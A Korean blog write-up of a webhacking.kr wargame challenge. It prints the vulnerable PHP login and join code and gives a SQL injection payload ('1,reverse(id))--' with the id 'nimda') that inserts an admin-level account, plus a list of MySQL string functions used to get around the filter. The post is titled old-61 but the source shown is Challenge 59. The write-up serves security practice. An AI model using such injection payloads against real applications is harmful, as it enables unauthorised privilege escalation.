
1. 문제 정보
- 문제 번호 : old -61
- 문제 점수 : 20점
2. 문제 분석
문제에 들어가면 join과 login에 맞춰 제출 버튼이 나온다. 아마도 join으로 회원가입 후 login으로 들어가는 것 같다.

join에 a랑1을 입력하고 login을 해보면

이렇게 나온다 소스코드를 봐보자 소스코드를 보면 lv값이 admin이여야 solve함수가 호출된다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if($_POST['lid'] && isset($_POST['lphone'])){
$_POST['lid'] = addslashes($_POST['lid']);
$_POST['lphone'] = addslashes($_POST['lphone']);
$result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));
if($result['id']){
echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
if($result['lv'] == "admin"){
mysqli_query($db,"delete from chall59");
solve(59);
}
echo "<br><a href=./?view_source=1>view-source</a>";
exit();
}
}
if($_POST['id'] && isset($_POST['phone'])){
$_POST['id'] = addslashes($_POST['id']);
$_POST['phone'] = addslashes($_POST['phone']);
if(strlen($_POST['phone'])>=20) exit("Access Denied");
if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
}
?>
<html><head><title>Challenge 59</title></head><body>
<form method=post>
<table border=1>
<tr><td></td><td>ID</td><td>PHONE</td><td></td></tr>
<tr><td>JOIN</td><td><input name=id></td><td><input name=phone></td><td><input type=submit></td></tr>
<tr><td>LOGIN</td><td><input name=lid></td><td><input name=lphone></td><td><input type=submit></td></tr>
</form>
<br>
<a href=./?view_source=1>view-source</a>
</body></html>
3. 풀이
$_POST['id'] = addslashes($_POST['id']);
$_POST['phone'] = addslashes($_POST['phone']);
if(strlen($_POST['phone'])>=20) exit("Access Denied");
if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
일단 join을 보면 addslashs와 preg_match로 필터링하고 있다.
하지만 post['phone']값을 그대로 넣으므로 인젝션에 취약하다. guest부분을 admin으로 바꿔보자
19문자가 최대니까 하나씩 해보면
일단 )-- 로 4글자가 들어가고 앞에 비밀번호 아무거나 1, 이 들어가면 일단 6글자가 나온다. 13글자로 admin을 우회해보자
데이터베이스에서 문자열을 만드는 함수들은 아래와 같다.
- CONCAT(str1, str2, ...): 인자들을 연결한다. 예: CONCAT('ad', 'min') -> 'admin'
- ELT(N, str1, str2, ...): N번째 문자열을 반환한다. 예: ELT(1, 'admin', 'guest') -> 'admin'
- MAKE_SET(bits, str1, str2): 비트 값에 따라 문자열을 조합한다.
- EXPORT_SET(bits, on, off, separator, number_of_bits): 비트 설정에 따라 문자열을 생성한다.
- REVERSE(str): 문자열을 거꾸로 뒤집는다. 예: REVERSE('nimda') -> 'admin'
- REPLACE(str, from_str, to_str): 특정 문자를 치환한다. 예: REPLACE('abdmin', 'b', '') -> 'admin'
- INSERT(str, pos, len, newstr): 특정 위치에 문자열을 삽입한다. 예: INSERT('guest', 1, 5, 'admin') -> 'admin'
- SUBSTR(str, pos, len) / MID(str, pos, len): 문자열을 자른다. 예: SUBSTR('administrator', 1, 5) -> 'admin'
- LEFT(str, len) / RIGHT(str, len): 왼쪽이나 오른쪽에서 문자를 가져온다. 예: LEFT('admin123', 5) -> 'admin'
- LPAD(str, len, padstr) / RPAD(str, len, padstr): 특정 길이만큼 문자를 채운다. 예: LPAD('admin', 5, 'x') -> 'admin'
- CONV(N, from_base, to_base): 진법을 변환한다. 예: CONV(17466782, 10, 36) -> 'ADMIN' (대문자 반환 주의)
- UNHEX(str): 16진수 문자열을 문자로 변환한다.(필터링)
- CHAR(N, ...): ASCII 코드를 문자로 변환한다. (필터링됨)
- FROM_BASE64(str): Base64 문자열을 디코딩한다. (MySQL 5.6 이상) 예: FROM_BASE64('YWRtaW4=') -> 'admin'
- COMPRESS(str) / UNCOMPRESS(str): 문자열을 압축/해제한다.
- AES_DECRYPT(crypt_str, key_str): 암호화된 데이터를 복호화하여 문자열을 얻는다.
- LOAD_FILE(file_name): 파일 내용을 문자열로 읽어온다.
- UUID(): 랜덤한 UUID 문자열을 생성한다.
- VERSION() / USER() / DATABASE(): 시스템 정보를 문자열로 반환한다.
일단 여기에서 ''가 필요한 함수를 제외하고 13글자에 최대치를 만족하기 어렵다.
따라서 문자열이 필요한데 우리는 id에서 가져올 수 있다. 그래서 1,reverse(id))-- 를 사용하면 lv가 admin인 계정을 만들 수 있다.
id를 nimda로 입력하고 1,reverse(id))-- 를 입력하면 계정이 만들어지고 nimda,1로 로그인하면문제가 풀린다.

4. 요약
- phone 파라미터의 20자 길이 제한과 0x, char 등의 강력한 필터링으로 인해 admin 문자열을 직접 생성하는 우회 기법이 불가능함을 파악함.
- INSERT 쿼리 내에서 앞서 선언된 id 컬럼의 값을 뒤쪽 인자에서 참조할 수 있다는 SQL의 특성을 이용해 id에 'nimda'를 입력함.
- phone 파라미터에 1,reverse(id))--를 주입하여 lv 컬럼에 'nimda'가 뒤집힌 'admin'이 들어가도록 쿼리를 조작해 해결함.
'워게임 > webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old-4 문제 (0) | 2026.02.02 |
|---|---|
| [webhacking.kr] old-56 문제 (0) | 2026.02.02 |
| [webhacking.kr] old-61 문제 (0) | 2026.02.02 |
| [webhacking.kr] old-10 문제 (0) | 2026.01.30 |
| [webhacking.kr] old-12 문제 (0) | 2026.01.30 |